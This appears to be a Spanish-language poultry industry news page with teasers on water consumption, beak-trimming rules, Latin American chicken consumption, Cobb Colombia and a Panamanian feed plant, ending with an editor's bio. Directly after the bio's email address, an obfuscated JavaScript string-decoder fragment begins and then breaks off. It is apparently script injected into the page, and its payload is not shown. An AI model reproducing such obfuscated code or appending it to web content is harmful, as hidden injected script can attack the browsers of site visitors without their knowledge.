En la industria avícola, uno de los objetivos es producir productos comestibles sanos e inocuos, pero, por desgracia, está rodeada de muchos mitos que nada la favorecen.
Parece ser que siempre nos olvidamos de este nutriente esencial que es el agua. Sabemos que los expertos recomiendan medir el consumo de agua en tiempo real con medidores, así como su temperatura y su calidad. Pero, ¿se hace?
Una corrección en el censo poblacional de ese país andino obligaría a actualizar al alza los cálculos de ingesta promedio para los alimentos de origen aviar.
En distintas partes de Europa existe mucha presión política para dejar de despicar. En particular, en el Reino Unido, está prohibido el despique con rayos infrarrojos.
En 2017, Perú fue el país con mayor consumo per cápita de pollo, con 46.66 kg por persona por año, seguido de Argentina (44 kg/persona), Bolivia (43 kg/persona), Brasil y Panamá (42 kg/persona en cada país).
La primera Cumbre de Tecnología Avícola (Poultry Tech Summit) reunió a innovadores tecnológicos, capitalistas de riesgo y compañías avícolas de 20 países para triangular la próxima generación de tecnología que resolverá problemas y abrirá nuevas oportunidades en la producción avícola.
La alimentación dividida por la mañana y la tarde trae ahorros en energía, proteína y calcio, además del costo y de una mejora en la calidad de la cáscara de huevo.
Los datos en la producción avícola, lo cual incluye su recolección y análisis, permiten a los diferentes sectores aumentar su contribución hacia un negocio próspero.
Cobb-Vantress inició operaciones en Colombia este 3o de octubre como Cobb Colombia. La nueva unidad de la compañía es la primera operación de una empresa multinacional especializada en genética avícola que hay en el país.
La empresa panameña Productos Toledano S.A. inauguró esta semana su nueva Planta de Alimentos Balanceados Bob Rick en la comunidad de Villa Rosario, distrito de Capira (oeste), la cual servirá para nutrir a las gallinas ponedoras, pollos de engorde y aves reproductoras que la compañía produce en este país centroamericano.
Para conmemorar los 100 años de servir a los profesionales de la producción y procesamiento avícola de todo el mundo, los editores de WATT Global Media crearon un repertorio de artículos originales enfocados a la industria con miras al futuro. “Futuro de la industria avícola” consta de una colección de 13 artículos a fondo, cada uno de los cuales explora desarrollos en sectores clave de la industria, que tienen impacto en el futuro de la avicultura mundial. Como bono extra se incluye también a los últimos miembros del Salón de la Fama de la Avicultura Latinoamericana. Adquiéralo aquí.
Cindy Burgos Alvarado es editora asociada de la revista Industria Avícola, así como del sitio web www.industriaavicola.net. Es una periodista puertorriqueña con más de cinco años de experiencia realizando coberturas en temas políticos y económicos.
Posee una licenciatura en Información y Periodismo de la Universidad de Puerto Rico (UPR), con una segunda concentración en Sociología.
Puede contactarla a través de su correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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